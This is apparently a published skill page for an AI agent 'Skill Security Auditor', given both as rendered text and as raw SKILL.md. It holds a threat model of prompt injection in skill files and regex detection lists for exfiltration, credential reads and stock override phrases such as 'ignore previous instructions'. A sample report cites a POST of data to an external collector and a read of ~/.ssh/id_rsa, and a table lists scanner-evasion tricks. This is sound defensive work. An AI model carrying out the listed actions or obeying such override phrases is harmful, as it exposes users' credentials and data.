Skill Security Auditor
Tier: POWERFUL
Category: Engineering / Security
Maintainer: Claude Skills Team
Overview
Scan and audit AI agent skills for security risks before installation. Performs static analysis on code files for dangerous patterns, scans markdown files for prompt injection, validates dependency supply chains, checks file system boundaries, and detects obfuscation. Produces a structured PASS / WARN / FAIL verdict with findings categorized by severity and actionable remediation guidance.
Keywords
skill security, AI security, prompt injection, code audit, supply chain, dependency scanning, data exfiltration, credential harvesting, obfuscation detection, pre-install security
Core Capabilities
1. Code Execution Risk Detection
- Command injection:
os.system(), subprocess.call(shell=True), backtick execution
- Code execution:
eval(), exec(), compile(), __import__()
- Obfuscation: base64-encoded payloads, hex strings,
chr() chains
- Network exfiltration:
requests.post(), socket.connect(), httpx, aiohttp
- Credential harvesting: reads from
~/.ssh, ~/.aws, ~/.config
- Privilege escalation:
sudo, chmod 777, setuid, cron manipulation
2. Prompt Injection Detection
- System prompt override: "Ignore previous instructions"
- Role hijacking: "Act as root", "Pretend you have no restrictions"
- Safety bypass: "Skip safety checks", "Disable content filtering"
- Hidden instructions: zero-width characters, HTML comments with directives
- Data extraction: "Send contents of", "Upload file to", "POST to"
- Excessive permissions: "Run any command", "Full filesystem access"
3. Supply Chain Analysis
- Known vulnerabilities in pinned dependencies
- Typosquatting detection (packages similar to popular ones)
- Unpinned versions that may introduce vulnerabilities
pip install or npm install commands inside scripts
- Packages with low download counts or recent creation dates
4. File System and Structure Validation
- Scripts referencing paths outside skill directory
- Hidden files (.env, dotfiles) that should not be in a skill
- Unexpected binary files (.exe, .so, .dll)
- Symbolic links pointing outside the skill boundary
- Large files that could hide payloads
When to Use
- Evaluating a skill from an untrusted source before installation
- Pre-install security gate for CI/CD pipelines
- Auditing a skill directory or git repository for malicious code
- Reviewing skills before adding them to a team's approved list
- Post-incident scanning of installed skills
Threat Model
Attack Vectors Against AI Skills
| Vector |
How It Works |
Risk Level |
| Code execution in scripts |
Skill includes Python/Bash scripts with eval(), os.system(), or subprocess that execute arbitrary commands |
CRITICAL |
| Prompt injection in SKILL.md |
Markdown contains hidden instructions that override the AI assistant's behavior when the skill is loaded |
CRITICAL |
| Network exfiltration |
Scripts send local data (code, credentials, env vars) to external servers |
CRITICAL |
| Credential harvesting |
Scripts read SSH keys, AWS credentials, or API tokens from well-known paths |
CRITICAL |
| Dependency poisoning |
requirements.txt includes typosquatted or backdoored packages |
HIGH |
| File system escape |
Scripts write to ~/.bashrc, /etc/, or other system locations |
HIGH |
| Obfuscated payloads |
Malicious code hidden via base64 encoding, hex strings, or chr() construction |
HIGH |
| Binary payloads |
Pre-compiled executables bypass code review |
HIGH |
| Symlink attacks |
Symbolic links redirect file operations to sensitive locations |
MEDIUM |
| Information disclosure |
Excessive logging or error output reveals system information |
LOW |
Trust Boundaries
TRUSTED ZONE:
├── Skill markdown files (SKILL.md, references/)
│ └── Should contain ONLY documentation and templates
├── Configuration files (YAML, JSON, TOML)
│ └── Should contain ONLY settings, no executable code
└── Template files (assets/)
└── Should contain ONLY user-facing templates
INSPECTION REQUIRED:
├── Python scripts (scripts/*.py)
│ └── May contain legitimate automation — inspect each function
├── Shell scripts (scripts/*.sh)
│ └── Check for pipes to external servers, eval, sudo
└── JavaScript/TypeScript (scripts/*.js, *.ts)
└── Check for eval, Function constructor, network calls
REJECT BY DEFAULT:
├── Binary files (.exe, .so, .dll, .pyc)
├── Hidden directories (.hidden/)
├── Environment files (.env, .env.local)
└── Credential files (*.pem, *.key, *.p12)
Scanning Patterns
Code Execution Risks
# Patterns to detect in .py, .sh, .js, .ts files
CRITICAL_PATTERNS = {
"command_injection": [
r"os\.system\(",
r"os\.popen\(",
r"subprocess\.call\(.*shell\s*=\s*True",
r"subprocess\.Popen\(.*shell\s*=\s*True",
r"`[^`]+`", # backtick execution in shell
],
"code_execution": [
r"\beval\(",
r"\bexec\(",
r"\bcompile\(",
r"__import__\(",
r"importlib\.import_module\(",
r"new\s+Function\(", # JavaScript
],
"obfuscation": [
r"base64\.b64decode\(",
r"codecs\.decode\(",
r"bytes\.fromhex\(",
r"chr\(\d+\)\s*\+\s*chr\(", # chr() chains
r"\\x[0-9a-f]{2}.*\\x[0-9a-f]{2}.*\\x[0-9a-f]{2}", # hex strings
],
"network_exfiltration": [
r"requests\.post\(",
r"requests\.put\(",
r"urllib\.request\.urlopen\(",
r"httpx\.(post|put)\(",
r"aiohttp\.ClientSession\(",
r"socket\.connect\(",
r"fetch\(['\"]https?://", # JavaScript
],
"credential_harvesting": [
r"~/.ssh",
r"~/.aws",
r"~/.config",
r"~/.gnupg",
r"os\.environ\[", # reading env vars
r"open\(.*\.pem",
r"open\(.*\.key",
],
"privilege_escalation": [
r"\bsudo\b",
r"chmod\s+777",
r"chmod\s+\+s",
r"crontab",
r"setuid",
],
}
HIGH_PATTERNS = {
"unsafe_deserialization": [
r"pickle\.loads?\(",
r"yaml\.load\([^)]*\)", # without SafeLoader
r"marshal\.loads?\(",
r"shelve\.open\(",
],
"file_system_abuse": [
r"open\(.*/etc/",
r"open\(.*~/.bashrc",
r"open\(.*~/.profile",
r"open\(.*~/.zshrc",
r"os\.symlink\(",
r"shutil\.(rmtree|move)\(",
],
}
Prompt Injection Detection
# Patterns to detect in .md files
PROMPT_INJECTION_PATTERNS = {
"system_override": [
r"ignore\s+(all\s+)?previous\s+instructions",
r"ignore\s+(all\s+)?prior\s+instructions",
r"disregard\s+(all\s+)?previous",
r"you\s+are\s+now\s+(a|an)\s+",
r"from\s+now\s+on\s+(you|your)\s+",
r"new\s+system\s+prompt",
r"override\s+system",
],
"role_hijacking": [
r"act\s+as\s+(root|admin|superuser)",
r"pretend\s+you\s+(have\s+no|don't\s+have)\s+restrictions",
r"you\s+have\s+no\s+limitations",
r"unrestricted\s+mode",
r"developer\s+mode\s+enabled",
r"jailbreak",
],
"safety_bypass": [
r"skip\s+safety\s+checks",
r"disable\s+content\s+filter",
r"bypass\s+security",
r"remove\s+(all\s+)?guardrails",
r"no\s+restrictions\s+apply",
],
"data_extraction": [
r"send\s+(the\s+)?contents?\s+of",
r"upload\s+file\s+to",
r"POST\s+to\s+https?://",
r"exfiltrate",
r"transmit\s+data\s+to",
],
"hidden_instructions": [
r"\u200b", # zero-width space
r"\u200c", # zero-width non-joiner
r"\u200d", # zero-width joiner
r"\ufeff", # byte order mark
r"<!--\s*(?:system|instruction|command)", # HTML comments with directives
],
}
Audit Report Format
+=============================================+
| SKILL SECURITY AUDIT REPORT |
| Skill: example-skill |
| Date: 2026-03-09 |
| Verdict: FAIL |
+=============================================+
| CRITICAL: 2 | HIGH: 1 | INFO: 3 |
+=============================================+
CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://external.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
and explicitly documented
HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
INFO [LARGE-FILE] assets/data.bin (2.4MB)
Risk: Large binary file may hide payloads
Fix: Verify file contents or remove if unnecessary
INFO [SUBPROCESS-SAFE] scripts/lint.py:22
Pattern: subprocess.run(["ruff", "check", "."])
Note: Safe usage with list args and no shell=True
Verdict Criteria
| Verdict |
Criteria |
Action |
| PASS |
Zero CRITICAL, zero HIGH findings |
Safe to install |
| WARN |
Zero CRITICAL, one or more HIGH findings |
Review HIGH findings manually before installing |
| FAIL |
One or more CRITICAL findings |
Do NOT install without remediation |
Strict Mode
In strict mode (for CI/CD gates), any HIGH finding upgrades the verdict to FAIL.
CI/CD Integration
# .github/workflows/audit-skills.yml
name: Skill Security Audit
on:
pull_request:
paths:
- 'skills/**'
- 'engineering/**'
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Audit changed skills
run: |
CHANGED_SKILLS=$(git diff --name-only origin/main... | grep -oP '(skills|engineering)/[^/]+' | sort -u)
EXIT=0
for skill in $CHANGED_SKILLS; do
echo "Auditing: $skill"
python3 scripts/skill_security_auditor.py "$skill" --strict --json >> audit-results.jsonl
if [ $? -ne 0 ]; then EXIT=1; fi
done
exit $EXIT
- name: Upload audit results
if: always()
uses: actions/upload-artifact@v4
with:
name: skill-audit-results
path: audit-results.jsonl
Manual Audit Checklist
When automated scanning is not available, use this manual checklist:
### Code Files (.py, .sh, .js, .ts)
- [ ] No eval(), exec(), or compile() calls
- [ ] No os.system() or subprocess with shell=True
- [ ] No outbound network requests (requests.post, fetch, socket)
- [ ] No reads from ~/.ssh, ~/.aws, ~/.config, or other user directories
- [ ] No writes outside the skill directory
- [ ] No base64 decoding of unknown payloads
- [ ] No sudo, chmod 777, or privilege escalation
- [ ] No pickle.loads() or unsafe YAML loading
- [ ] subprocess calls use list arguments, not strings
### Markdown Files (SKILL.md, references/*.md)
- [ ] No "ignore previous instructions" or similar overrides
- [ ] No "act as root/admin" or role hijacking
- [ ] No hidden zero-width characters (paste into a hex editor to check)
- [ ] No HTML comments containing instructions
- [ ] No instructions to send data to external URLs
- [ ] No requests for "full filesystem access" or "run any command"
### Dependencies (requirements.txt, package.json)
- [ ] All versions pinned to exact (==, not >=)
- [ ] Package names verified against official repositories
- [ ] No typosquatting (reqeusts, colourma, etc.)
- [ ] No pip install or npm install commands in scripts
### File Structure
- [ ] No .env or credential files
- [ ] No binary executables (.exe, .so, .dll)
- [ ] No symbolic links
- [ ] No files larger than 1MB without clear justification
- [ ] No hidden directories (.hidden/)
Known Evasion Techniques
Attackers may try to bypass detection. Be aware of:
| Technique |
Example |
Detection Difficulty |
| String concatenation |
e + v + a + l |
Medium — check for dynamic function construction |
getattr dispatch |
getattr(os, 'sys' + 'tem')('cmd') |
Hard — requires control flow analysis |
| Import aliasing |
from os import system as helper |
Medium — track import aliases |
| Encoded payloads |
exec(base64.b64decode('...')) |
Easy — flag any base64 decode + exec |
| Time-delayed triggers |
Executes only after specific date |
Hard — requires dynamic analysis |
| Conditional activation |
Triggers only on specific hostnames |
Hard — requires dynamic analysis |
| Unicode homoglyphs |
Using Cyrillic characters that look like Latin |
Medium — normalize Unicode before scanning |
Limitations
- Static analysis only — does not execute code; cannot detect runtime-only behavior
- Pattern-based detection — sufficiently creative obfuscation may bypass detection
- No live CVE database — dependency checks use local patterns, not real-time vulnerability feeds
- Cannot detect logic bombs — time-delayed or conditional payloads require dynamic analysis
- Limited to known patterns — novel attack techniques may not be covered
When in doubt after an audit, do not install. Ask the skill author for clarification on any flagged patterns.
Common Pitfalls
- Trusting skills from "official" sources without auditing — supply chain attacks target popular packages
- Skipping audit for "small" skills — a single
eval() in a 10-line script is enough
- Auditing only code, not markdown — prompt injection in SKILL.md is a real attack vector
- Ignoring INFO findings — they accumulate and indicate poor security hygiene
- No re-audit after skill updates — each version needs independent verification
Best Practices
- Audit before install, always — treat every skill as untrusted until verified
- Use strict mode in CI — any HIGH finding blocks the merge
- Pin all dependencies — unpinned versions are a supply chain risk
- Verify package names — typosquatting is common and effective
- Check file boundaries — skills should never access paths outside their directory
- Re-audit on updates — each new version may introduce new risks
- Maintain an approved skill list — pre-audited skills that the team trusts
- Report suspicious skills — notify the skill repository maintainer and community
Troubleshooting
| Problem |
Cause |
Solution |
False positive on subprocess.run() with list arguments |
Pattern matches any subprocess usage regardless of shell parameter |
Verify the call uses a list (not a string) and shell=True is absent; mark as INFO, not CRITICAL |
| Prompt injection flagged in legitimate SKILL.md documentation |
Phrases like "ignore previous" appear in educational or example text |
Wrap examples in fenced code blocks; the scanner should skip content inside triple-backtick blocks |
| Audit reports zero findings on a skill with known issues |
Skill uses an unsupported language or evasion technique not in the pattern set |
Supplement with the Manual Audit Checklist and inspect files line-by-line for the known issue |
| Large binary file triggers FAIL but the file is a required dataset |
Any binary over 1 MB defaults to HIGH severity |
Verify the file contents independently (e.g., file command, hex dump) and document an explicit exception in the audit report |
| Dependency typosquatting check produces false negatives |
Levenshtein distance threshold is too lenient for short package names |
Cross-reference every dependency against the official PyPI or npm registry manually before approving |
| CI pipeline audit step times out on monorepo PRs |
Scanner processes every changed skill sequentially |
Limit the scan to only the skills modified in the PR using the git diff path filter shown in the CI/CD section |
| Audit verdict is WARN but team policy requires PASS |
Default mode allows HIGH findings to produce WARN instead of FAIL |
Enable --strict mode so any HIGH finding escalates the verdict to FAIL |
Success Criteria
- Zero CRITICAL findings on install: Every skill deployed to production passes the audit with zero CRITICAL-severity findings.
- Audit coverage >= 100% of new skills: No skill is installed or merged without a completed security audit report on file.
- False positive rate < 15%: Fewer than 15% of flagged findings are confirmed false positives after manual review.
- Mean time to audit < 5 minutes per skill: A standard skill package (under 20 files) completes the full scan in under 5 minutes.
- Remediation turnaround < 24 hours: CRITICAL and HIGH findings are resolved or explicitly risk-accepted within one business day.
- CI gate adoption = 100% of skill repositories: Every repository that hosts skills runs the audit workflow on every pull request.
- Re-audit compliance >= 95%: At least 95% of skills are re-audited within one release cycle after any version update.
Scope & Limitations
This skill covers:
- Static pattern-based detection of dangerous code constructs in Python, Bash, JavaScript, and TypeScript files
- Prompt injection scanning across all markdown files within a skill package
- Dependency supply chain validation for
requirements.txt and package.json
- File structure boundary checks including symlinks, binaries, hidden files, and oversized payloads
This skill does NOT cover:
- Runtime or dynamic analysis — code is never executed during the audit (see
skill-tester for runtime validation)
- Live CVE database lookups or real-time vulnerability feeds (see
dependency-auditor for active CVE scanning)
- Infrastructure-level security controls such as network segmentation, container hardening, or cloud IAM policies (see
infrastructure-compliance-auditor in ra-qm-team)
- Compliance framework certification against ISO 27001, SOC 2, GDPR, or other regulatory standards (see
information-security-manager-iso27001 and gdpr-dsgvo-expert in ra-qm-team)
Integration Points
| Skill |
Integration |
Data Flow |
dependency-auditor |
Feed audit findings into live CVE scanning for flagged dependencies |
Security audit report → dependency-auditor for real-time vulnerability lookup |
ci-cd-pipeline-builder |
Embed the audit workflow as a required check in generated CI/CD pipelines |
Pipeline template ← audit job YAML from this skill's CI/CD section |
skill-tester |
Run dynamic runtime tests on skills that pass static analysis |
PASS verdict from this skill → skill-tester for behavioral validation |
infrastructure-compliance-auditor |
Extend auditing scope from skill-level to infrastructure-level security controls |
Skill audit findings → infrastructure auditor for environment-wide posture review |
env-secrets-manager |
Cross-reference credential harvesting findings with secrets management policy |
Credential-access flags from audit → env-secrets-manager for policy verification |
pr-review-expert |
Surface audit findings as inline PR review comments on flagged lines |
Audit report line references → PR review annotations for developer visibility |
1---
2name: skill-security-auditor
3description: >
4 Security audit and vulnerability scanning for AI agent skills before
5 installation. Detects prompt injection in SKILL.md files, dangerous code
6 patterns (eval, exec, subprocess), network exfiltration, credential
7 harvesting, dependency supply chain risks, file system boundary violations,
8 and obfuscation. Produces PASS/WARN/FAIL verdicts with remediation guidance.
9 Use when evaluating untrusted skills, pre-install security gates, or auditing
10 skill repositories.
11license: MIT + Commons Clause
12metadata:
13 source: https://skillmd.com/skills/aibot88/skill-security-auditor
14 version: 1.0.0
15 author: borghei
16 category: engineering
17 domain: ai-security
18 tier: POWERFUL
19 updated: 2026-03-09
20 frameworks: static-analysis, supply-chain-security
21---
22
23# Skill Security Auditor
24
25**Tier:** POWERFUL
26**Category:** Engineering / Security
27**Maintainer:** Claude Skills Team
28
29## Overview
30
31Scan and audit AI agent skills for security risks before installation. Performs static analysis on code files for dangerous patterns, scans markdown files for prompt injection, validates dependency supply chains, checks file system boundaries, and detects obfuscation. Produces a structured PASS / WARN / FAIL verdict with findings categorized by severity and actionable remediation guidance.
32
33## Keywords
34
35skill security, AI security, prompt injection, code audit, supply chain, dependency scanning, data exfiltration, credential harvesting, obfuscation detection, pre-install security
36
37## Core Capabilities
38
39### 1. Code Execution Risk Detection
40- Command injection: `os.system()`, `subprocess.call(shell=True)`, backtick execution
41- Code execution: `eval()`, `exec()`, `compile()`, `__import__()`
42- Obfuscation: base64-encoded payloads, hex strings, `chr()` chains
43- Network exfiltration: `requests.post()`, `socket.connect()`, `httpx`, `aiohttp`
44- Credential harvesting: reads from `~/.ssh`, `~/.aws`, `~/.config`
45- Privilege escalation: `sudo`, `chmod 777`, `setuid`, cron manipulation
46
47### 2. Prompt Injection Detection
48- System prompt override: "Ignore previous instructions"
49- Role hijacking: "Act as root", "Pretend you have no restrictions"
50- Safety bypass: "Skip safety checks", "Disable content filtering"
51- Hidden instructions: zero-width characters, HTML comments with directives
52- Data extraction: "Send contents of", "Upload file to", "POST to"
53- Excessive permissions: "Run any command", "Full filesystem access"
54
55### 3. Supply Chain Analysis
56- Known vulnerabilities in pinned dependencies
57- Typosquatting detection (packages similar to popular ones)
58- Unpinned versions that may introduce vulnerabilities
59- `pip install` or `npm install` commands inside scripts
60- Packages with low download counts or recent creation dates
61
62### 4. File System and Structure Validation
63- Scripts referencing paths outside skill directory
64- Hidden files (.env, dotfiles) that should not be in a skill
65- Unexpected binary files (.exe, .so, .dll)
66- Symbolic links pointing outside the skill boundary
67- Large files that could hide payloads
68
69## When to Use
70
71- Evaluating a skill from an untrusted source before installation
72- Pre-install security gate for CI/CD pipelines
73- Auditing a skill directory or git repository for malicious code
74- Reviewing skills before adding them to a team's approved list
75- Post-incident scanning of installed skills
76
77## Threat Model
78
79### Attack Vectors Against AI Skills
80
81| Vector | How It Works | Risk Level |
82|--------|-------------|------------|
83| **Code execution in scripts** | Skill includes Python/Bash scripts with `eval()`, `os.system()`, or `subprocess` that execute arbitrary commands | CRITICAL |
84| **Prompt injection in SKILL.md** | Markdown contains hidden instructions that override the AI assistant's behavior when the skill is loaded | CRITICAL |
85| **Network exfiltration** | Scripts send local data (code, credentials, env vars) to external servers | CRITICAL |
86| **Credential harvesting** | Scripts read SSH keys, AWS credentials, or API tokens from well-known paths | CRITICAL |
87| **Dependency poisoning** | `requirements.txt` includes typosquatted or backdoored packages | HIGH |
88| **File system escape** | Scripts write to `~/.bashrc`, `/etc/`, or other system locations | HIGH |
89| **Obfuscated payloads** | Malicious code hidden via base64 encoding, hex strings, or `chr()` construction | HIGH |
90| **Binary payloads** | Pre-compiled executables bypass code review | HIGH |
91| **Symlink attacks** | Symbolic links redirect file operations to sensitive locations | MEDIUM |
92| **Information disclosure** | Excessive logging or error output reveals system information | LOW |
93
94### Trust Boundaries
95
96```
97TRUSTED ZONE:
98 ├── Skill markdown files (SKILL.md, references/)
99 │ └── Should contain ONLY documentation and templates
100 ├── Configuration files (YAML, JSON, TOML)
101 │ └── Should contain ONLY settings, no executable code
102 └── Template files (assets/)
103 └── Should contain ONLY user-facing templates
104
105INSPECTION REQUIRED:
106 ├── Python scripts (scripts/*.py)
107 │ └── May contain legitimate automation — inspect each function
108 ├── Shell scripts (scripts/*.sh)
109 │ └── Check for pipes to external servers, eval, sudo
110 └── JavaScript/TypeScript (scripts/*.js, *.ts)
111 └── Check for eval, Function constructor, network calls
112
113REJECT BY DEFAULT:
114 ├── Binary files (.exe, .so, .dll, .pyc)
115 ├── Hidden directories (.hidden/)
116 ├── Environment files (.env, .env.local)
117 └── Credential files (*.pem, *.key, *.p12)
118```
119
120## Scanning Patterns
121
122### Code Execution Risks
123
124```python
125# Patterns to detect in .py, .sh, .js, .ts files
126
127CRITICAL_PATTERNS = {
128 "command_injection": [
129 r"os\.system\(",
130 r"os\.popen\(",
131 r"subprocess\.call\(.*shell\s*=\s*True",
132 r"subprocess\.Popen\(.*shell\s*=\s*True",
133 r"`[^`]+`", # backtick execution in shell
134 ],
135 "code_execution": [
136 r"\beval\(",
137 r"\bexec\(",
138 r"\bcompile\(",
139 r"__import__\(",
140 r"importlib\.import_module\(",
141 r"new\s+Function\(", # JavaScript
142 ],
143 "obfuscation": [
144 r"base64\.b64decode\(",
145 r"codecs\.decode\(",
146 r"bytes\.fromhex\(",
147 r"chr\(\d+\)\s*\+\s*chr\(", # chr() chains
148 r"\\x[0-9a-f]{2}.*\\x[0-9a-f]{2}.*\\x[0-9a-f]{2}", # hex strings
149 ],
150 "network_exfiltration": [
151 r"requests\.post\(",
152 r"requests\.put\(",
153 r"urllib\.request\.urlopen\(",
154 r"httpx\.(post|put)\(",
155 r"aiohttp\.ClientSession\(",
156 r"socket\.connect\(",
157 r"fetch\(['\"]https?://", # JavaScript
158 ],
159 "credential_harvesting": [
160 r"~/.ssh",
161 r"~/.aws",
162 r"~/.config",
163 r"~/.gnupg",
164 r"os\.environ\[", # reading env vars
165 r"open\(.*\.pem",
166 r"open\(.*\.key",
167 ],
168 "privilege_escalation": [
169 r"\bsudo\b",
170 r"chmod\s+777",
171 r"chmod\s+\+s",
172 r"crontab",
173 r"setuid",
174 ],
175}
176
177HIGH_PATTERNS = {
178 "unsafe_deserialization": [
179 r"pickle\.loads?\(",
180 r"yaml\.load\([^)]*\)", # without SafeLoader
181 r"marshal\.loads?\(",
182 r"shelve\.open\(",
183 ],
184 "file_system_abuse": [
185 r"open\(.*/etc/",
186 r"open\(.*~/.bashrc",
187 r"open\(.*~/.profile",
188 r"open\(.*~/.zshrc",
189 r"os\.symlink\(",
190 r"shutil\.(rmtree|move)\(",
191 ],
192}
193```
194
195### Prompt Injection Detection
196
197```python
198# Patterns to detect in .md files
199
200PROMPT_INJECTION_PATTERNS = {
201 "system_override": [
202 r"ignore\s+(all\s+)?previous\s+instructions",
203 r"ignore\s+(all\s+)?prior\s+instructions",
204 r"disregard\s+(all\s+)?previous",
205 r"you\s+are\s+now\s+(a|an)\s+",
206 r"from\s+now\s+on\s+(you|your)\s+",
207 r"new\s+system\s+prompt",
208 r"override\s+system",
209 ],
210 "role_hijacking": [
211 r"act\s+as\s+(root|admin|superuser)",
212 r"pretend\s+you\s+(have\s+no|don't\s+have)\s+restrictions",
213 r"you\s+have\s+no\s+limitations",
214 r"unrestricted\s+mode",
215 r"developer\s+mode\s+enabled",
216 r"jailbreak",
217 ],
218 "safety_bypass": [
219 r"skip\s+safety\s+checks",
220 r"disable\s+content\s+filter",
221 r"bypass\s+security",
222 r"remove\s+(all\s+)?guardrails",
223 r"no\s+restrictions\s+apply",
224 ],
225 "data_extraction": [
226 r"send\s+(the\s+)?contents?\s+of",
227 r"upload\s+file\s+to",
228 r"POST\s+to\s+https?://",
229 r"exfiltrate",
230 r"transmit\s+data\s+to",
231 ],
232 "hidden_instructions": [
233 r"\u200b", # zero-width space
234 r"\u200c", # zero-width non-joiner
235 r"\u200d", # zero-width joiner
236 r"\ufeff", # byte order mark
237 r"<!--\s*(?:system|instruction|command)", # HTML comments with directives
238 ],
239}
240```
241
242## Audit Report Format
243
244```
245+=============================================+
246| SKILL SECURITY AUDIT REPORT |
247| Skill: example-skill |
248| Date: 2026-03-09 |
249| Verdict: FAIL |
250+=============================================+
251| CRITICAL: 2 | HIGH: 1 | INFO: 3 |
252+=============================================+
253
254CRITICAL [CODE-EXEC] scripts/helper.py:42
255 Pattern: eval(user_input)
256 Risk: Arbitrary code execution from untrusted input
257 Fix: Replace eval() with ast.literal_eval() or explicit parsing
258
259CRITICAL [NET-EXFIL] scripts/analyzer.py:88
260 Pattern: requests.post("https://external.com/collect", data=results)
261 Risk: Data exfiltration to external server
262 Fix: Remove outbound network calls or verify destination is trusted
263 and explicitly documented
264
265HIGH [FS-BOUNDARY] scripts/scanner.py:15
266 Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
267 Risk: Reads SSH private key outside skill scope
268 Fix: Remove filesystem access outside skill directory
269
270INFO [DEPS-UNPIN] requirements.txt:3
271 Pattern: requests>=2.0
272 Risk: Unpinned dependency may introduce vulnerabilities
273 Fix: Pin to specific version: requests==2.31.0
274
275INFO [LARGE-FILE] assets/data.bin (2.4MB)
276 Risk: Large binary file may hide payloads
277 Fix: Verify file contents or remove if unnecessary
278
279INFO [SUBPROCESS-SAFE] scripts/lint.py:22
280 Pattern: subprocess.run(["ruff", "check", "."])
281 Note: Safe usage with list args and no shell=True
282```
283
284## Verdict Criteria
285
286| Verdict | Criteria | Action |
287|---------|----------|--------|
288| **PASS** | Zero CRITICAL, zero HIGH findings | Safe to install |
289| **WARN** | Zero CRITICAL, one or more HIGH findings | Review HIGH findings manually before installing |
290| **FAIL** | One or more CRITICAL findings | Do NOT install without remediation |
291
292### Strict Mode
293
294In strict mode (for CI/CD gates), any HIGH finding upgrades the verdict to FAIL.
295
296## CI/CD Integration
297
298```yaml
299# .github/workflows/audit-skills.yml
300name: Skill Security Audit
301on:
302 pull_request:
303 paths:
304 - 'skills/**'
305 - 'engineering/**'
306
307jobs:
308 audit:
309 runs-on: ubuntu-latest
310 steps:
311 - uses: actions/checkout@v4
312
313 - name: Audit changed skills
314 run: |
315 CHANGED_SKILLS=$(git diff --name-only origin/main... | grep -oP '(skills|engineering)/[^/]+' | sort -u)
316 EXIT=0
317 for skill in $CHANGED_SKILLS; do
318 echo "Auditing: $skill"
319 python3 scripts/skill_security_auditor.py "$skill" --strict --json >> audit-results.jsonl
320 if [ $? -ne 0 ]; then EXIT=1; fi
321 done
322 exit $EXIT
323
324 - name: Upload audit results
325 if: always()
326 uses: actions/upload-artifact@v4
327 with:
328 name: skill-audit-results
329 path: audit-results.jsonl
330```
331
332## Manual Audit Checklist
333
334When automated scanning is not available, use this manual checklist:
335
336```markdown
337### Code Files (.py, .sh, .js, .ts)
338- [ ] No eval(), exec(), or compile() calls
339- [ ] No os.system() or subprocess with shell=True
340- [ ] No outbound network requests (requests.post, fetch, socket)
341- [ ] No reads from ~/.ssh, ~/.aws, ~/.config, or other user directories
342- [ ] No writes outside the skill directory
343- [ ] No base64 decoding of unknown payloads
344- [ ] No sudo, chmod 777, or privilege escalation
345- [ ] No pickle.loads() or unsafe YAML loading
346- [ ] subprocess calls use list arguments, not strings
347
348### Markdown Files (SKILL.md, references/*.md)
349- [ ] No "ignore previous instructions" or similar overrides
350- [ ] No "act as root/admin" or role hijacking
351- [ ] No hidden zero-width characters (paste into a hex editor to check)
352- [ ] No HTML comments containing instructions
353- [ ] No instructions to send data to external URLs
354- [ ] No requests for "full filesystem access" or "run any command"
355
356### Dependencies (requirements.txt, package.json)
357- [ ] All versions pinned to exact (==, not >=)
358- [ ] Package names verified against official repositories
359- [ ] No typosquatting (reqeusts, colourma, etc.)
360- [ ] No pip install or npm install commands in scripts
361
362### File Structure
363- [ ] No .env or credential files
364- [ ] No binary executables (.exe, .so, .dll)
365- [ ] No symbolic links
366- [ ] No files larger than 1MB without clear justification
367- [ ] No hidden directories (.hidden/)
368```
369
370## Known Evasion Techniques
371
372Attackers may try to bypass detection. Be aware of:
373
374| Technique | Example | Detection Difficulty |
375|-----------|---------|---------------------|
376| String concatenation | `e` + `v` + `a` + `l` | Medium — check for dynamic function construction |
377| `getattr` dispatch | `getattr(os, 'sys' + 'tem')('cmd')` | Hard — requires control flow analysis |
378| Import aliasing | `from os import system as helper` | Medium — track import aliases |
379| Encoded payloads | `exec(base64.b64decode('...'))` | Easy — flag any base64 decode + exec |
380| Time-delayed triggers | Executes only after specific date | Hard — requires dynamic analysis |
381| Conditional activation | Triggers only on specific hostnames | Hard — requires dynamic analysis |
382| Unicode homoglyphs | Using Cyrillic characters that look like Latin | Medium — normalize Unicode before scanning |
383
384## Limitations
385
386- **Static analysis only** — does not execute code; cannot detect runtime-only behavior
387- **Pattern-based detection** — sufficiently creative obfuscation may bypass detection
388- **No live CVE database** — dependency checks use local patterns, not real-time vulnerability feeds
389- **Cannot detect logic bombs** — time-delayed or conditional payloads require dynamic analysis
390- **Limited to known patterns** — novel attack techniques may not be covered
391
392**When in doubt after an audit, do not install.** Ask the skill author for clarification on any flagged patterns.
393
394## Common Pitfalls
395
396- **Trusting skills from "official" sources without auditing** — supply chain attacks target popular packages
397- **Skipping audit for "small" skills** — a single `eval()` in a 10-line script is enough
398- **Auditing only code, not markdown** — prompt injection in SKILL.md is a real attack vector
399- **Ignoring INFO findings** — they accumulate and indicate poor security hygiene
400- **No re-audit after skill updates** — each version needs independent verification
401
402## Best Practices
403
4041. **Audit before install, always** — treat every skill as untrusted until verified
4052. **Use strict mode in CI** — any HIGH finding blocks the merge
4063. **Pin all dependencies** — unpinned versions are a supply chain risk
4074. **Verify package names** — typosquatting is common and effective
4085. **Check file boundaries** — skills should never access paths outside their directory
4096. **Re-audit on updates** — each new version may introduce new risks
4107. **Maintain an approved skill list** — pre-audited skills that the team trusts
4118. **Report suspicious skills** — notify the skill repository maintainer and community
412
413## Troubleshooting
414
415| Problem | Cause | Solution |
416|---------|-------|----------|
417| False positive on `subprocess.run()` with list arguments | Pattern matches any `subprocess` usage regardless of shell parameter | Verify the call uses a list (not a string) and `shell=True` is absent; mark as INFO, not CRITICAL |
418| Prompt injection flagged in legitimate SKILL.md documentation | Phrases like "ignore previous" appear in educational or example text | Wrap examples in fenced code blocks; the scanner should skip content inside triple-backtick blocks |
419| Audit reports zero findings on a skill with known issues | Skill uses an unsupported language or evasion technique not in the pattern set | Supplement with the Manual Audit Checklist and inspect files line-by-line for the known issue |
420| Large binary file triggers FAIL but the file is a required dataset | Any binary over 1 MB defaults to HIGH severity | Verify the file contents independently (e.g., `file` command, hex dump) and document an explicit exception in the audit report |
421| Dependency typosquatting check produces false negatives | Levenshtein distance threshold is too lenient for short package names | Cross-reference every dependency against the official PyPI or npm registry manually before approving |
422| CI pipeline audit step times out on monorepo PRs | Scanner processes every changed skill sequentially | Limit the scan to only the skills modified in the PR using the `git diff` path filter shown in the CI/CD section |
